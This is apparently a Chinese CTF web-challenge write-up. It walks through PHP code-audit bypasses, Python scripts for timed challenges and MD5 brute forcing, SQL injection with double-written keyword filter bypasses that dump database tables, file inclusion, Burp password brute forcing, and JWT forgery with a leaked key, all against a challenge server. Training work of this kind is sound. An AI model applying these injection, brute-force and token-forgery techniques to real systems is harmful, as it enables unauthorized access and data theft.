CTF论剑场(web) write up
直接给你一串代码
$num=$_GET['num'];
$str=$_GET['str'];
show_source(__FILE__);
if (isset($num)&&isset($str)) {
if (preg_match('/\d+/sD',$str)) {
echo "vagetable hhhh";
exit();
}
$result=is_numeric($num) and is_numeric($str);
if ($result) {
include "flag.php";
echo "$flag";
}
else{
echo "vagetablessssss";
}
}
?>
preg_match()函数是用于正则表达式的匹配的
is_numeric() 函数用于检测变量是否为数字或数字字符串
\d 基本是用来匹配数字
所以num的输入得是数字,但是str不能是数字
所以构造playload:num=1&str=‘a’
又是代码审计的题目
file_get_contents() 函数把整个文件读入一个字符串中。
extract — 从数组中将变量导入到当前的符号表,涉及变量覆盖漏洞(该函数使用数组键名作为变量名,使用数组键值作为变量值。但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。),
trim — 去除字符串首尾处的空白字符(或者其他字符)。
playload:a=&b=reader
这关一看,就想到他是要我们用PUT方法提交bugku,就能得到flag
在用base64解码
得到flag{T7l8xs9fc1nct8NviPTbn3fG0dzX9V}
这一关要快速算出复杂的运算,显然不行,只能用python脚本解决
import requests;
import re;
url = "http://123.206.31.85:10002/";
r = requests.session();
r1 = r.get(url);
r1.encoding = r1.apparent_encoding;
demo = r1.text;
math = str(re.findall("(.*?)",demo))[2:-2];
print(math);
ans = eval(math);
playload = {"result":ans};
res = r.post(url,data=playload);
print(res.text);
这一关咋一看真啥都没有,但是看到标题robots,说明是robots协议
发现一个敏感的页面
看这样子得提交一个一串字符串,这个字符串用md5加密后前六个字符是240ala,但是刷新后又变得不一样了,看来又得写python脚本了
import requests;
import re;
import hashlib;
def gettoken(text):
m1 = hashlib.md5();
print(m1);
m1.update(text.encode("utf-8"));
token = m1.hexdigest();
return token;
def main():
for i in range(0,9999999):
if gettoken(str(i))[0:6]=="28fa6a":
print(i);
break;
main()
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191109210840709.png
打开这个文件,头一件事就是搜索有没有存在flag字符串
结果发现一堆,仔细观察后
发现每一段最后就是%3D后面,–的前面的数值不一样,只是数值,盲猜是ASCII值,再写一次python脚本
import re;
f = open("/media/reader-l/Data/STUDENT/P1/2.txt");
line = 1;
while line:
line = f.readline();
if line != '':
left = re.search('%3D',line).end();
right = re.search('--',line).start();
print(chr(int(line[left:right])),end='');
f.close();
Sql injection
对该网站一通瞎点,找到注入点
然后通过http://123.206.31.85:10018/list.php?id=1’ 返回错误
和http://123.206.31.85:10018/list.php?id=1’–+ 返回正常,
发现是单引号字符型的
然后正常用union select 1,2,3–+ …
发现union select 到10,回显都不正常用 and , or ,也发现回显不正常。。。
猜测有对这些进行过滤,试试双写绕过
成功发现字段数是3
用 -1' ununionion seselectlect 1,database(),user()--+
猜测我们想要的东西
-1' ununionion seselectlect 1,(seselectlect group_concat(table_name) from infoorrmation_schema.tables where table_schema='web18'),3 --+
-1' ununionion seselectlect 1,(seselectlect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'),3 --+
-1' ununionion seselectlect 1,(seselectlect group_concat(flag) from web18.flag),3 --+
import re;
import requests;
import hashlib;
import random;
import time;
def gettoken(text):
m1 = hashlib.md5();
print(m1);
m1.update(text.encode("utf-8"));
token = m1.hexdigest();
return token;
def main():
r = requests.session();
urllen = 160;
url = 'http://123.206.31.85:10020/?key=' + str(gettoken(str(int(time.time())))) + str(random.randint(0, 9));
while urllen == 160:
s = r.get(url);
html = s.text;
urllen = len(html);
print(url);
print(html);
main();
看到这题,话不多说,贴代码
其实这题的动态密文是时间戳的md5加密+一位随机数
这一题一直不懂在考啥。。看了网上的write up,
那些大佬是先用御剑扫了一下,发现有shell.php,那是真正的填写位置,然后那个下载页面,只要把2去掉就能得到正常的回显了,然后把得到的字符串一个一个填写到shell.php试试,就能得到flag了
看到这页面,我一开始以为是upload的题,结果。。。。不管怎么上传都不行。。。,后来看了一下url,发现怎么那么像文件包含
结果还真是
关于文件包含漏洞可以看
这里
一脸懵逼,index变成了1ndex,把他改回去,再随便提交个cat就过了
看到file_get_contents()以为是文件包含,但是利用了各种姿势都不行,没思路。。。待会看看别人怎么弄的吧
用御剑扫了下,发现了robots.txt readme.txt login.php 几处敏感页面
上面的readme.txt 中发现的admin 123 应该是一个用户的账号和密码,输进去看看
发现密码应该是修改过了,同时我想把readme.txt中的乱码变成可读的看看
从密码只支持三位数字,我们可以采用burp 中的爆破模式来解决了
没有三位数字的字典的可以用crunch来生成
677这个别的playload长度不一样,可以说就是密码了
这一关主要了解json web token的知识
具体知识点看这篇文章吧
看到该界面,首先会想到先用弱口令来试试、万能密码、注入啥的,但是题目已经提醒是关于jwt的,所以我们也不啰嗦了
首先用burp转包
发现一个NNVTU23LGEZDG===,先去用base64解下吧,发现不行,有用base32来解
获得账号和密码后成功登入
将user.php去掉看看能不能看到敏感目录
其中有一个L3yx.php.swp的文件,这个可以还原成php的文件的,具体还原方法用 vi -r L3yx.php.swp就行了(linux)具体代码我就不复制了(不知道为啥格式一直不对)
我们可以获得key=L3yx----+++±—
现在我们拿到密钥了,我们可以伪造成L3xy用户登录了
首先拿着我们kk用户的token到jwt.io网站
将我们构造的iat、exp以及account和密钥区改为上图所示,获得新的token,将其复制到burp去访问user.php页面,或得flag